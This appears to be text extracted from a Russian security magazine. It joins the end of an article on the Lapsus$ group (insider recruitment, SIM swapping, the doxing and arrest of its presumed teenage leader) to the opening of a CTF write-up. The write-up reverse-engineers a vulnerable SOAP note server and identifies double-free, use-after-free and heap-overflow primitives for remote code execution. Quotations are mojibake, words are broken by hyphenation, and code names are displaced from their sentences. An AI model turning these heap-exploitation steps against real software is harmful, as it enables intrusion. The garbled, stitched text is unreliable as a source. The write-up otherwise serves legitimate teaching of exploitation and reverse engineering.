(Brian Krebs) опуб ликовал в сво ем бло ге , пос вящен ную лицам, сто- 
ящим за все ми эти ми утеч ками в час тнос ти и хак-груп пой Lapsus$ в целом.

статью

Сто ит ска зать, что Кребс — лич ность извес тная как сре ди хакеров, так
и сре ди ИБ-спе циалис тов. Дело в том, что Кребс зна менит сво ими рас сле- 
дова ниями и разоб лачени ями, а за дол гие годы карь еры он помог най ти
и деано ними зиро вать не один десяток прес тупни ков.

Кребс пишет, что хакеры вер бовали инсай деров через раз личные форумы
и соци аль ные сети по край ней мере с нояб ря 2021 года. Один из основных
чле нов Lapsus$, исполь зовав ший ники Oklaqq и WhiteDoxbin, еще в прош лом
году писал на Reddit, что ищет сот рудни ков, пред лагая инсай дерам из ком- 
паний AT&T, T-Mobile и Verizon до 20 тысяч дол ларов в неделю за некую
не слиш ком легаль ную работу. Мно гие из этих объ явле ний были написа ны
на англий ском и пор тугаль ском язы ках.

Объ явле ние о поис ке инсай деров на Reddit

В отче те Microsoft говори лось о том, что Lapsus$ исполь зуют для сво их атак
даже под мену SIM-карт, что бы получить дос туп к клю чевым учет ным записям
в целевых орга низа циях. В таких слу чаях зло умыш ленни ки под купа ют
или обма ном вынуж дают сот рудни ков опе рато ра сотовой свя зи передать им
номер мобиль ного телефо на жер твы, а вмес те с ним получа ют кон троль и над
все ми ее учет ными запися ми.

Имен но этот аспект, похоже, и помог деано ними зиро вать некото рых учас- 
тни ков хак-груп пы. Весь ма инте рес ными све дени ями подели лась с Креб сом
Элли сон Ник сон (Allison Nixon), глав ный науч ный сот рудник кон салтин говой
ИБ-ком пании Unit 221B, которая вни матель но отсле жива ет хакеров, занима- 
ющих ся под меной SIM-карт.

Сов мес тно с ана лити ками из Palo Alto Networks Ник сон наб людала
за отдель ными чле нами Lapsus$ еще до того, как они сфор мирова ли груп пу.
Она говорит, что прак тичес ки все методы соци аль ной инже нерии, которые
теперь опи сыва ют экспер ты, хакеры уже дав но исполь зовали для атак на сот- 
рудни ков и под рядчи ков круп ных опе рато ров свя зи.

«

»

«Âåðî ÿòíî, Lapsus$ áûëè ïåð âûìè, êòî ïîêàçàë ìèðó, ÷òî ñóùåñ òâó åò

ìíî æåñ òâî óÿç âèìûõ öåëåé, ïîìèìî òåëåêîì ìóíèêà öèîí íûõ êîì- 

ïàíèé, — ãîâîðèò Íèê ñîí. — Â ìèðå ïîë íî öåëåé, êîòîðûå íå ïðè âûê- 

ëè ê òàêèì àòà êàì».

По дан ным спе циалис тки, по край ней мере один из нынеш них чле нов Lapsus$
в прош лом был при час тен к . Тог да вымога- 
тели пот ребова ли у EA выкуп, в про тив ном слу чае угро жая опуб ликовать око- 
ло 780 Гбайт укра ден ного исходно го кода. В интервью СМИ хакеры заяв ляли,
что получи ли дос туп к дан ным EA пос ле покуп ки аутен тифика цион ных фай лов
cookie для внут ренне го канала Slack ком пании на под поль ном мар кет плей се
Genesis.

взло му ком пании Electronic Arts

Ка залось бы, при чем здесь Lapsus$? Все дело в упо мяну том выше
WhiteDoxbin aka Oklaqq, который рань ше занимал ся вер бовкой инсай деров и,
похоже, явля ется лидером груп пы. Помимо этих ников, он исполь зовал мно- 
жес тво дру гих псев донимов в раз ных Telegram-каналах, одна ко Telegram объ- 
еди няет все псев донимы учет ной записи под одним Telegram ID.

Бла года ря это му уда лось понять, что еще в мае 2021 года Telegram ID
WhiteDoxbin исполь зовал ся, что бы соз дать акка унт в сер висе для орга низа- 
ции DDoS-атак, работа ющем через Telegram, и тог да этот человек скры вал ся
под псев донимом @breakbase. В свою оче редь, новость о взло ме EA впер вые
была раз мещена поль зовате лем с тем же ником, Breachbase, на англо языч- 
ном хак-форуме RaidForums (который вско ре был зак рыт ФБР).

Кро ме того, ана лити ки полага ют, что в прош лом WhiteDoxbin был одним
из осно вате лей хак-груп пы Recursion Team. Сог ласно ныне не сущес тву юще- 
му , она спе циали зиро валась на под мене SIM-карт и сват- 
тинге (от англий ско го swatting): к жер твам домой вызыва ли наряд спец наза,
сооб щая о лож ных угро зах взры ва, зах вате залож ников и так далее. Извес тно
немало слу чаев, ког да подоб ные «шут ки» закан чивались для жертв леталь ным
исхо дом.

сай ту груп пиров ки

ÄÎÊÑÈÍÃ

ИБ-экспер ты счи тают, что лидер хак-груп пы, WhiteDoxbin, — это тот же
человек, который в прош лом году купил дав но сущес тву ющий сайт Doxbin, где
любой жела ющий может раз местить лич ную информа цию о сво ей жер тве
или най ти чьи-то лич ные дан ные сре ди информа ции о сот нях тысяч человек,
которые ранее уже под вер глись док сингу.

Пос ле покуп ки новый вла делец Doxbin не сумел обес печить бес перебой- 
ную работу ресур са, поэто му мно гие учас тни ки Doxbin были серь езно
недоволь ны его руководс твом.

«
»

«Ñîîá ùåñ òâî Doxbin áûëî î÷åíü ðàçî÷à ðîâà íî, ïîýòî ìó îíè íà÷àëè

ïðåñ ëåäîâàòü åãî è òðà âèòü», — ðàñ ñêà çûâà åò Íèê ñîí.

В янва ре 2022 года WhiteDoxbin наконец неохот но сог ласил ся отка зать ся
от управле ния Doxbin, про дав сайт обратно пре дыду щему вла дель цу (и зна- 
читель но потеряв при этом в день гах). Одна ко из мес ти незадол го до сво его
ухо да WhiteDoxbin слил с Doxbin все дан ные (вклю чая при ват ные док сы,
которые не были опуб ликова ны и хра нились на сай те в виде чер новиков),
а затем рас простра нил их в Telegram.

Пос ле это го сооб щес тво Doxbin впол не пред ска зуемо приш ло в ярость
и опуб ликова ло один из самых тща тель но под готов ленных док сов в исто рии.
На этот раз док сну ли самого WhiteDoxbin, при чем с жут кими под робнос тями,
вро де лич ной информа ции о чле нах его семьи и виде оро ликов, записан ных
ночью воз ле его дома в Великоб ритании. 
Сог ласно соб ранным сооб щес твом дан ным, WhiteDoxbin начал свою прес- 
тупную «карь еру» с покуп ки и про дажи уяз вимос тей нулево го дня.

«

»

«Ïîñ òåïåí íî îí ñòàë çàðàáà òûâàòü äåíü ãè è ñìîã åùå áîëü øå ðàñ-

øèðèòü ñâîþ êîë ëåêöèþ ýêñ ïëî èòîâ, — ãëà ñèò ñëèâ íà Doxbin. — ×åðåç

íåñ êîëü êî ëåò åãî êàïèòàë óâå ëè÷èë ñÿ äî 300 BTC (îêî ëî 14 ìèë- 

ëèîíîâ äîë ëàðîâ ïî òåêóùå ìó êóð ñó)».

Это впол не сог ласу ется с тем, что в 2020 году Breachbase писал
на RaidForums. Он заяв лял, что обла дает бюд жетом в раз мере 100 тысяч дол- 
ларов в бит коинах, который он готов пот ратить на кри тичес кие 0-day-уяз- 
вимос ти в GitHub, GitLab, Twitter, Snapchat, Cisco VPN, Pulse VPN и про чих инс-
тру мен тах для уда лен ного дос тупа или сов мес тной работы.

ÀÐÅÑÒÛ

Ра зуме ется, изу чав шие активность Lapsus$ экспер ты, будь то ана лити ки
Microsoft или Flashpoint, Брай ан Кребс или Unit 221B, не пуб ликова ли никаких
лич ных дан ных WhiteDoxbin и не рас кры вали его нас тоящую лич ность. Дело
в том, что, во-пер вых, он несовер шенно лет ний (в нас тоящее вре мя
ему 17 лет), во-вто рых, на тот момент его офи циаль но не обви няли в совер- 
шении каких-либо прес тупле ний, а слив на Doxbin и вов се содер жал мно жес- 
тво лич ной информа ции о чле нах его семьи. Впро чем, ана лити ки Unit 221B
не скры вают того, что дав но переда вали соб ранные дан ные пра воох- 
ранитель ным орга нам.

Уже пос ле пуб ликации этих ста тей и иссле дова ний СМИ сооб щили, что
на прош лой неделе полиция Лон дона арес товала семь человек в воз расте
от 16 лет до 21 года «в свя зи с рас сле дова нием деятель нос ти хакер ской
груп пы». В нас тоящее вре мя все они находят ся под следс тви ем. Инте рес но,
что арес ты сов пали с объ явле нием о том, что нес коль ко чле нов Lapsus$
на вре мя ухо дят в отпуск.

Груп пиров ка объ яви ла об ухо де в отпуск

Су дя по все му, пред полага емый лидер груп пы был сре ди арес тован ных: сре- 
ди них при сутс тву ет 17-лет ний под росток из Оксфор да, к тому же стра- 
дающий расс трой ством аутис тичес кого спек тра. Его отец заявил телека налу
BBC, что не знал, чем занима ется его сын:

«

»

«Äî íåäàâ íåãî âðå ìåíè ÿ íè÷åãî îá ýòîì íå çíàë. Îí íèêîã äà

íå ãîâîðèë î õàêåðñ òâå, íî îí î÷åíü õîðîøî ðàç áèðà åòñÿ â êîìïü þòå- 

ðàõ è ïðî âîäèò çà êîìïü þòå ðîì ìíî ãî âðå ìåíè. ß âñåã äà äóìàë, ÷òî

îí èãðà åò. Ìû ïîñ òàðà åìñÿ ïîìåøàòü åìó ïðî âîäèòü ñòîëü êî âðå ìåíè

çà êîìïü þòå ðîì».

Ес ли кого-то из читате лей удив ляют наз ванные сум мы «доходов» WhiteDoxbin,
а так же талан ты 15-лет него (на тот момент) под рос тка, напом ню, что это не
такая ред кость. К при меру, в середи не июня 2020 года ком пания Twitter под- 
вер глась самой мас штаб ной ата ке за всю исто рию сво его сущес тво вания.
Как вско ре выяс нилось, «идей ным вдох новите лем» и орга низа тором этой
ата ки был 17-лет ний под росток из шта та Фло рида  (Graham
Ivan Clark), извес тный в сети под псев донимом Kirk.

Грэм Айвен Кларк

mailto:nefedova@glc.ru
https://xakep.ru/2021/10/22/redline-stealer/
https://krebsonsecurity.com/2022/03/a-closer-look-at-the-lapsus-data-extortion-group/
https://xakep.ru/2021/06/10/ea-leak/
https://web.archive.org/web/20210410013319/http://recursion.team/
https://xakep.ru/2021/03/17/vzlomavshij-twitter-podrostok-provedet-v-tyurme-tri-goda/
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В этой статье я покажу раз бор инте рес ной задач ки в духе
CTF. Мы получим уда лен ное выпол нение кода на сер вере
SOAP. Все при мити вы экс плу ата ции так или ина че свя заны
с кучей, поэто му ты узна ешь мно го нового о фун кци ях,
которые с ней работа ют. Нам пред сто ит поревер сить
бинарь для Linux, исполь зуя фрей мворк динами чес кой инс- 
тру мен тации.

Ав торы тас ка под готови ли нам три фай ла:
ELF-бинарь ;• gsoapNote
ELF-бинарь ;• libc-2.27.so
XML-файл .• ns.wsdl

WWW

•Фай лы задания

SOAP — это про токол на осно ве XML, который исполь зует ся для уда лен ного
вызова про цедур (Remote Procedure Call). Файл  (Web Services

Description Language) опи сыва ет дос туп к вызыва емым про цеду рам. Наша
задача — получить уда лен ное исполне ние кода в SOAP-сер висе .

ns.wsdl

gsoapNote
Ав торы тас ка намека ют, что  запус кает ся на тач ке с Linux, где

заг ружена биб лиоте ка . Поэто му сра зу зас тавля ем отладчик
GDB заг ружать кон крет но этот бинарь при стар те сер виса. В 

добавим

gsoapNote
libc-2.27.so

.gdbinit

user@ubuntu: cat .gdbinit 
... 

 set exec-wrapper env 'LD_PRELOAD=./libc-2.27.so'

Из вле чем из  информа цию c помощью ути литы .ns.wsdl SOAPUI

SOAPUI авто мати чес ки фор миру ет XML-шаб лон зап роса RPC. Мы сра зу
видим, на каком сетевом интерфей се и пор те стар тует сер вер — 

, а так же имя RPC-метода — . SOAPUI ничего не зна ет

об аргу мен тах, поэто му на их мес те сто ит знак воп роса.

localhost:
33263 handleCommand()

За пус каем  и через SOAPUI отправ ляем непол ноцен ный шаб- 

лон. Получа ем осмыслен ный ответ от сер вера, закоди рован ный в Base64:

gsoapNote

2<resultCode> </resultCode>

На вер но, двой ка — это оцен ка нашего зап роса, который не пон равил ся
!gsoapNote

Взгля нем на бинар ные митига ции.

Из пло хих новос тей — сте ковые канарей ки защища ют  от перепол- 
нения буфера на сте ке (2 — Canary found), NX дела ет некото рые стра ницы
памяти неис полня емы ми (3 — NX enabled).

gsoapNote

Хо роших новос тей гораз до боль ше: стро ка  говорит о том, что мы
можем перепи сывать адре са фун кций из shared-биб лиотек (1 — 

) и эти адре са не будут ран домизи ровать ся (4 — ), а это

хорошее под спорье для перех вата управле ния. Ну и самая хорошая
новость — в бинар нике есть сим волы (5 — ), зна чит, у нас будут
хотя бы сиг натуры фун кций, а это очень облегчит реверс.

RELRO
Partial 

RELRO No PIE

817 Symbols

ÐÅÂÅÐÑ-ÈÍÆÈÍÈÐÈÍÃ

handleCommand

Не забыва ем, что  соб ран с сим волами, поэто му сра зу гру зим его

в «Иду» и пры гаем к фун кции .

gsoapNote
handleCommand()

INFO

Очень удоб ное рас положе ние окон в «Иде» я под- 
смот рел у ребят с : окна с дизас сем блер-
ным и деком пилиро ван ным лис тинга ми раз деля- 
ют ворк спейс пополам и син хро низи руют ся меж- 
ду собой.

OALabs

Де ком пилиро ван ный лис тинг не то что бы ужас ный, но понять, что про исхо дит,
слож но. Цикл , куча вло жен ных , фун кция  при нима ет

девять аргу мен тов...

for if executeCommand()

Да вай будем рас смат ривать лис тинг как кар тину импрес сионис тов — отой- 
дем на пару шагов назад и поищем общие пат терны.

Во-пер вых, сра зу в нес коль ких мес тах видим, что если в  усло вие
не выпол няет ся, то локаль ной перемен ной  прис ваивает ся зна чение 

и про пус кает ся куча кода. А двой ка — это как раз тот result code, который при- 
шел в ответ на шаб лон SOAPUI. Все схо дит ся.

if
v11 2

Очень мно го кода выпол няет ся внут ри цик ла . Обра тим наше вни мание

на него.

for

Пе ред цик лом вызыва ется фун кция , воз вра щен ная

струк тура исполь зует ся в цик ле . Разыме новы вает ся оффсет +24 для ини- 
циали зации счет чика и оффсет +48 для ите рации.

xmlDocGetRootElement()
for

Вмес то иссле дова ния внут реннос тей фун кции 

пос мотрим при меры исходно го кода с ее исполь зовани ем. В этом нам
поможет . Этот сайт покажет при меры исходно го кода качес твен ных
репози тори ев с инте ресу ющей нас фун кци ей.

xmlDocGetRootElement()

grep.app

По ссыл ке пры гаем в репози торий про екта (я выб рал ) и вни каем
в исходный код:

lastpass

// lastpass xml.c source code
...
#include <libxml/parser.h>
#include <libxml/tree.h>
...

 xmlNode *root;
  root = xmlDocGetRootElement(doc);

...

Ага... зна чит,  воз вра щает ука затель на струк туру
типа , а сама струк тура опре деле на в . Гуг лим 

и находим . Осо бен но нас инте ресу ют оффсе- 
ты, которые мы встре тили в деком пилен ном лис тинге.

xmlDocGetRootElement()
xmlNode libxml libxml

ус трой ство струк туры xmlNode

Пе рене сем это зна ние в «Иду». Соз даем струк туру  по тому же прин- 
ципу.

xmlNode

INFO

Не обя затель но вос ста нав ливать струк туру пол- 
ностью один в один. Дела ем это до нуж ного нам
оффсе та .+48 (+0x30)

Те перь воз вра щаем ся в деком пилиро ван ный лис тинг и прис ваиваем локаль- 
ной перемен ной  тип ука зате ля на .v16 xmlNode

И все ста ло гораз до луч ше! То, что про исхо дит в цик ле , теперь как на
ладони! Наш  пар сит XML: дос тает рутовую ноду, ини циали зиру ет

счет чик его потом ком  и обхо дит сосед ние ноды это го

потом ка при помощи . И  теперь обрел смысл: срав- 
нива ется имя ноды  с захар дко жен ной стро кой .

for
gsoapNote

xmlNode->children
xmlNode->next strcmp()

curXmlNode->name "array"

Об рати вни мание на фун кцию , она при нима ет текущую XML-
ноду и занулен ный двад цатибай товый мас сив. Зануля ется он, ско рее все го,
потому, что в него будет записан резуль тат пар синга, не зря же фун кция

 име ет такое наз вание.

parseArray()

parseArray()
Еще обра тим вни мание на то, как код воз вра та  вли яет

на поток выпол нения: если ноль, то вызыва ется фун кция с любопыт ным наз-
вани ем , в про тив ном слу чае обра баты ваем сле дующую
ноду.

parseArray()

executeCommand()

Оп ределен но нам надо попасть в , но для это го нуж но

рас парсить мас сив с нулевым кодом воз вра та.

executeCommand()

parseArray

Фун кция при нима ет два аргу мен та:  и . Мы уже выяс нили, что пер вый —
ука затель на , а вто рой — занулен ный бай товый мас сив. Давай пос- 

мотрим, что про исхо дит с этим мас сивом. Для это го в деком пилиро ван ном
лис тинге смот рим кросс-референ сы на .

a1 a2
xmlNode

a2

Сра зу под меча ем оффсе ты: +0, +8, +16, +24. Каж дый сле дующий оффсет
боль ше пре дыду щего на раз мер QWORD (8 байт). Это не 0x20-бай товый мас- 
сив, а мас сив из четырех QWORD. К 85-й стро ке вся струк тура ини циали зиро- 
вана.

По оффсе там +0 и +16 будут ука зате ли на стро ки, по +8 и +24 будут int.
Пред положим, что в эту струк туру из четырех QWORD заносит ся резуль тат

пар синга. Назовем ее .PARSE_RESULT

Прис воим аргу мен ту  тип , а аргу мен ту  тип  и сно- 

ва взгля нем на . Внут ри опять видим мно го одно образно го

кода пар синга XML. Пос коль ку мы удач но опре дели ли струк туры вход ных
аргу мен тов, чита ем деком пилен ный лис тинг прак тичес ки как исходный код.

a1 xmlNode a2 PARSE_RESULT
parseArray()

Ана лизи руя  даль ше, мы получа ем прак тичес ки целос тную кар- 
тину того, что нуж но вста вить вмес то мно гоз начитель ного зна ка воп роса.
Не буду утом лять тебя даль нейшим раз бором, а прос то покажу, как выг лядит
ожи даемый XML.

parseArray()

INFO

Зна чение ноды  дол жно быть рав но
количес тву нод внут ри  минус один.

<number>
<array>

Пра виль ное опре деле ние исполь зуемых струк тур поз волило дос тать мно го
информа ции из ста тичес кого ана лиза . Давай про дол жать иссле- 

дова ние в динами ке. Отпра вим XML на рисун ке выше, пос тавим брейк-пой нт
на выходе из  (по адре су 0x403BE2) и пос мотрим, что лежит

в  пос ле пар синга XML из зап роса выше:

gsoapNote

parseArray()
PARSE_RESULT

 

 

 
 

 
 

 
 

 
 

 
 

 
 

 
 

 

# Посмотрим, что лежит в PARSE_RESULT после выхода из parseArray
pwndbg> x/4gx $PARSE_RESULT
0x7ffffffd5a90: 0x00000000006562a0      0x0000000000001000
0x7ffffffd5aa0: 0x00000000006575b0      0x0000000000010000
pwndbg> x/s ((long*)$PARSE_RESULT)[0]
0x6562a0:       "AAAAAA"
pwndbg> x/d ((long*)$PARSE_RESULT + 1)
0x7ffffffd5a98: 4096
pwndbg> x/s ((long*)$PARSE_RESULT)[2]
0x6575b0:       "BBBBBB"
pwndbg> x/d ((long*)$PARSE_RESULT + 3)
0x7ffffffd5aa8: 65536
# Содержимое полностью соответствует XML
# А вот код возврата -1 подвел...
pwndbg> i r rax
rax            0xffffffff

С удо воль стви ем наб люда ем, как кон тро лиру емые нами дан ные осе дают
в памяти. Все поля струк туры  ини циали зиро ваны, зна чит,
выпол нился поч ти весь код фун кции , но код воз вра та -1, а это

не дает нам дви гать ся даль ше...

PARSE_RESULT
parseArray()

Да вай раз бирать ся. Мож но, конеч но, пошаго во выпол нить код в отладчи- 
ке, но это дол го. Мы сде лаем это быс тро, одним выс тре лом — под све тим
выпол ненный код с помощью .DynamoRIO

DynamoRIO — это фрей мворк для раз работ ки инс тру мен тов динами чес- 
кого ана лиза. Нам понадо бит ся встро енный в него инс тру мент ,

который покажет нам все выпол ненные инс трук ции.

drcov

INFO

Ес ли вдруг захочешь решать эту проб лему
в отладчи ке, то советую исполь зовать кас томную
коман ду для GDB . Вво дишь в кон соль

 и бря каешь ся перед инс трук цией .
Это уско рит про цесс отладки.

step before
sb call

За пус каем  под инс тру мен таци ей  сле дующим обра зом:gsoapNote drcov

<path to DynamoRIO>/bin64/drrun -t drcov — gsoapNote 

Продолжение статьи →

mailto:marsel.shagiev@gmail.com
https://file.io/6ryXirek0jsG
https://www.soapui.org/
https://www.youtube.com/watch?v=QZQyYkP4Bbg
https://grep.app/
https://github.com/lastpass/lastpass-cli/blob/master/xml.c
https://github.com/winlibs/libxml2/blob/6a6690cc9ed122b1e7a6385415e0859db93a0b43/include/libxml/tree.h#L489-L508
https://dynamorio.org/
https://github.com/Marsel-marsel/pros-and-confs/blob/895d387035745b66592526e736dcd97317b5696d/.gdbinit#L25-L51


РАЗБОРКИ НА КУЧЕ
ЭКСПЛУАТИРУЕМ ХИП УЯЗВИМОГО SOAP-

СЕРВЕРА НА LINUX

COVERSTORY  НАЧАЛО СТАТЬИ←

Сно ва отсы лаем XML через SOAPUI и завер шаем про цесс.
Наш  сге нери ровал файл ,

в котором содер жатся адре са выпол ненных инс трук ций. Для прос мотра это го
фай ла будем исполь зовать пла гин  для IDA.

drrun drcov.gsoapNote.X.Y.proc.log

lighthouse

INFO

На момент написа ния статьи пос ледняя вер сия
DynamoRIO — 9.0, c  вер сии 3,
но lighthouse не может рас парсить файл треть ей
вер сии, поэто му я исполь зую вер- 
сию 8.0 с  вер сии 2.

drcov

drcov

Зе леным цве том выделя ются выпол ненные инс трук ции. На скри не выше при- 
веден момент выхода с кодом воз вра та -1. И про изош ло это потому, что зна- 
чение внут ри  не рав но дли не стро ки 

. В SOAPUI кор ректи руем XML, про лета ем  и попада- 
ем в . Успех.

<bulkString><number> <bulkString><
content> parseArray()

executeCommand()

executeCommand

Это та самая фун кция с девятью аргу мен тами, которая испу гала нас в самом
начале. Но дей стви тель но ли аргу мен тов так мно го?

int s, intexecuteCommand(( ) ( )"show", v3, v4, v5, v6, v18.pzStr1, v18.
num1, (__int64)v18.pzStr2);

Со берем боль ше информа ции из дизас сем блер ного лис тинга. До это го
 исполь зовал сог лашение вызова System V: пер вые шесть аргу мен- 

тов переда ются через регис тры , , , , , , осталь ные через

стек в обратном поряд ке.

gsoapNote
rdi rsi rdx rcx r8 r9

     # Как передаются аргументы в executeCommand()
      mov rax, [rbp+s]
        push [rbp+var_68] ; stack arg
        push [rbp+var_70] ; stack arg
        push [rbp+var_78] ; stack arg
        push [rbp+var_80] ; stack arg

      mov rdi, rax        ; register arg
    call executeCommand

Ви дим про ини циали зиро ван ный  и четыре аргу мен та на сте ке. А давай

пос мотрим, что про исхо дит с регис тра ми-аргу мен тами внут ри
!

rdi

executeCommand()

          mov [rbp+var_8], rdi ; rdi сохраняется
       mov esi, offset s2      ; rsi перезаписан
         mov rdx, [rbp+arg_10] ; rdx перезаписан
      mov rcx, rax            ; rcx перезаписан

Не кото рые из них не исполь зуют ся и сра зу переза писы вают ся! Мы стол кну- 
лись с тем, что ком пилятор опти мизи ровал вызов фун кции. Как видишь,
при вызове фун кций внут ри бинаря ему не обя затель но сле довать System V.
«Ида» не была готова к такому и в деком пилиро ван ном лис тинге показа ла
девять аргу мен тов. Что ж, эта прог рамма слу жит нам верой и прав дой, давай
прос тим ей это недора зуме ние.

WWW

О ком пилятор ных опти миза циях увле катель но
рас ска зыва ет Matt Godbolt в лек ции Unbolting
the Compiler’s Lid. Осо бен но мне нра вит ся 

, в котором ком пилятор опти мизи рует фун- 
кцию для под сче та сум мы эле мен тов мас сива 

. Раз работ чик дела ет
это через цикл , но ком пилятор ока зыва ется
умнее раз работ чика и исполь зует фор мулу под- 
сче та сум мы ариф метичес кой прог рессии 

. У Мэт та ты так же можешь узнать
про инс тру мент .

при- 
мер

[
1, 2, 3 ... N]

for

N(
N+1)/2

Compiler Explorer

Да вай прос то в динами ке пос мотрим, что за четыре аргу мен та кла дут ся
на стек. Бря каем ся на инс трук ции  по адре- 

су 0x403CE4.

call executeCommand

INFO

Это скрин из пла гина . Обра ти вни мание,
что  сам разыме новы вает стек, что
неверо ятно удоб но. Так же в нем есть мно го
полез ных пла гинов, один из которых мы исполь- 
зуем поз же.

pwbdbg
pwndbg

Зна комые дан ные? На сте ке лежит струк тура , а в  — ука- 

затель на занулен ный мас сив дли ной 0xF0. То есть опти миза ция зак люча ется
в том, что четыре кью-вор да струк туры  кла дут ся на стек, а из

регис тров исполь зует ся толь ко . Давай перене сем это зна ние в «Иду»,

опре делив сог лашение вызова собс твен норуч но. В деком пилен ном лис тинге
уста новим тип фун кции.

PARSE_RESULT rdi

PARSE_RESULT
rdi

Бы ло:

          
         

__int64 __fastcall executeCommand(__int64 a1, int a2, int a3, int a4,
int a5, int a6, char *command, __int64 a8, __int64 a9)

Ста ло:

     __int64 __usercall executeCommand@<rax>(PARSE_RESULT pr, void *
pArray_F0@<rdi>)

И любу емся деком пилен ным лис тингом , как исходным
кодом.

executeCommand()

Сра зу ста новит ся понят но, какие поля струк туры  исполь зуют ся
кон крет ными фун кци ями, а так же что  — это имя

коман ды (там, где у нас ).

PARSE_RESULT
PARSE_RESULT.pzStr1

"АААААА"
Единс твен ное, что нам оста лось выяс нить, — что это за мас сив дли- 

ной 0xF0. Он инте ресен тем, что переда ется в каж дую из фун кций ,

,  вмес те с . Раз уж его дли на — 0xF0,

то называть его мы будем , хоть сей час мы сиш ники, а не питонис ты.

newNote()
editNote() deleteNote() PARSE_RESULT

foo
На перепутье трех дорог выбира ем самую прос тую — .deleteNote

deleteNote

Пос мотрим на малень кий и при ятный деком пил .deleteNote

В стро ке 3 мы видим, что  — это мас сив ука зате лей, а  — индекс это- 
го мас сива, индекс при нима ет зна чения от 0 до 9 вклю читель но.

foo num2

В стро ке 5 про исхо дит разыме новы вание ука зате ля и про веря ется,
не равен ли нулю QWORD по оффсе ту +16 (будем называть эту область
памяти ). Если нет, то про исхо дит вызов  и даль ше безус ловный

вызов  на ука затель по индексу . Давай я покажу схе му (крас ным

залиты дан ные, которые мы кон тро лиру ем из XML, серым — то, что переда- 
ется во ).

bar free()
free() num2

free()

Ког да видишь  в сиш ном коде, нуж но обра щать вни мание на то, что
про исхо дит с осво бож денным ука зате лем даль ше. Как видишь, в дан ном слу- 
чае — ничего, а по-хороше му его надо занулить. Нич то не меша ет нам выз- 
вать  два раза с одним и тем же индексом. Это дает нам пер- 
вый при митив — double free.

free()

deleteNote()

editNote

В  кода уже боль ше, но и мы уже кое-что зна ем о «фубаре».editNote()

Про вер ка на то, что индекс лежит в диапа зоне 0 до 9. Такое мы уже видели
в . Из  дос таем пер вый QWORD и срав нива ем его с дли ной
нашей стро ки из XML, пред варитель но декоди ровав ее из Base64.
deleteNote() bar

Ес ли этот QWORD боль ше дли ны стро ки, копиру ем стро ку в . Логич ная

про вер ка на перепол нение буфера. Вырисо выва ется схе ма хра нения наших
заметок. Вер нем «фубары» питонис там и дадим вме няемые наз вания, свя- 
зан ные с запис ками. Так,  — это мас сив ука зате лей на струк туру ноутов

 в .

bar

foo
NOTE_ENTRY bar

newNote

Ос талось понять, что лежит по оффсе там  +8, +24, +32 и даль ше.

Отве тим и на эти воп росы!

NOTE_ENTRY

Оф фсе ты +24 и даль ше отбра сыва ем сра зу, потому что под струк туру
выделя ется 24 бай та, зна чит, пос ледний зна чащий QWORD лежит по оффсе ту
+16.

По оффсе ту +8 записы вает ся чис ло, которое в пре дыду щих фун кци ях
интер пре тиро валось как индекс, а затем это чис ло переда ется в 

и воз вра щен ный ука затель записы вает ся в . В кон тек сте 

это уже не индекс, а  ноута.

malloc()
pText newNote()

size
Даль ше в  копиру ется стро ка из XML (декоди рован ная из Base64),

а количес тво ско пиро ван ных бай тов в  зада ется дли ной этой стро ки.

Раз меры выделен ного буфера и раз мер ско пиро ван ных дан ных могут не сов- 
падать. Ha-ha, classic. Ваниль ный buffer overow. В нашем слу чае на хипе.

pText
memcpy()

От дель но обра щу твое вни мание на то, что мы кон тро лиру ем аргу мент 

для . Это дает воз можность выбирать стра тегию алло кации памяти
.

size
malloc()

glibc

INFO

Ре али зация  в  под держи вает
linked lists (они же bins) для бло ков памяти раз- 
ного раз мера. Поведе ние  для этих bins
тоже отли чает ся. Мы вос поль зуем ся этим
при написа нии экс пло ита.

malloc() glibc

free()

show

В  зап ряталась еще одна коман да — .  дает

нам воз можность соз давать, уда лять и редак тировать замет ки, как же
без коман ды прос мотра?

executeCommand() show gsoapNote

Учи тывая то, что нам уже извес тны все поля , без тру да понима ем,

что здесь про исхо дит: замет ка по индексу кодиру ется в Base64 и воз вра- 
щает ся поль зовате лю. Пос коль ку пос ле уда ления  ука затель

не зануля ется, здесь откры вает ся воз можность для use after free: мож но про- 
читать память пос ле .

NOTE_ENTRY

deleteNote()

free()

ÈÒÎÃÈ ÐÅÂÅÐÑÀ

Про верим, что мы поняли коман ды пра виль но: соз дадим ноут , отре- 
дак тиру ем его, что бы получи лось , покажем и уда лим.

АААААА
BBB

От лично, все работа ет, как ожи дает ся.

ÀÍÀËÈÇÈÐÓÅÌ ÏÐÈÌÈÒÈÂÛ

Да вай раз берем име ющиеся при мити вы и подума ем, как это мож но экс плу- 
ати ровать.

UAF (show ïîñëå delete)

Та кая пос ледова тель ность команд поз воля ет получить при митив утеч ки
памяти для обхо да ASLR. Более под робно он опи сан в клас сном 
дру гой CTF на «Хакере». Объ ясню вкрат це:

раз боре

че рез коман ду  соз даем чанк боль шого раз мера;• new
че рез коман ду  осво бож даем его там, где рань ше был текст замет- 
ки,  запишет ука затель на ;

• delete
free() glibc

че рез  чита ем этот ука затель.• show

На кида ем POC в SOAPUI.

Elixir Cross Referencer
Для изу чения кода  советую исполь зовать ресурс .

Это как IDE в бра узе ре. Там же ты можешь выб рать исходни ки любой вер сии
биб лиоте ки. Вот, нап ример, , ког да во вре мя исполне ния 
записы вает ся ука затель на  unsorted bin.

glibc elixir.bootlin.com

мес то free()
glibc

Heap overflow

В нашем слу чае спло итить heap overow не так-то прос то. Есть один момент,
который я соз натель но упус тил в раз деле «Реверс-инжи ниринг», — каж дый
XML-зап рос соз дает в хипе новый мас сив , это зна чит, что

если в пер вом XML мы соз дадим замет ку, то она будет недос тупна из вто рого
зап роса.

pNOTE_ENTRY[]

Нап ример, экс пло ит тех ники House of Force тре бует адрес гло баль ной
струк туры , и, зная его, мы вычис ляем  для , что триг- 

гернет , и фун кция вер нет кон тро лиру емый нами ука- 

затель. Пред варитель но через heap overow 
, что бы выпол нение кода дош ло до int overow.

top_chunk size malloc()
int ovferow в malloc()

пе реза писы вает ся поле
top_chunk.size

До пус тим, как-то пер вым XML-зап росом мы лин канем адрес хипа, вычис- 
лим нуж ное зна чение  и отпра вим вто рой XML-зап рос. Сколь ко-то раз

 вызовет ся во вре мя обра бот ки зап роса SOAP, потом еще 

для мас сива , и в момент экс плу ата ции вычис ленное зна чение

ста нет невалид ным, а пред ска зать его неп росто. Под робнее можешь про- 
читать . Отло жим этот при митив и будем искать даль ше.

size
malloc() malloc()

pNOTE_ENTRY[]

здесь

Íåî÷åâèäíûé UAF è tcachebins

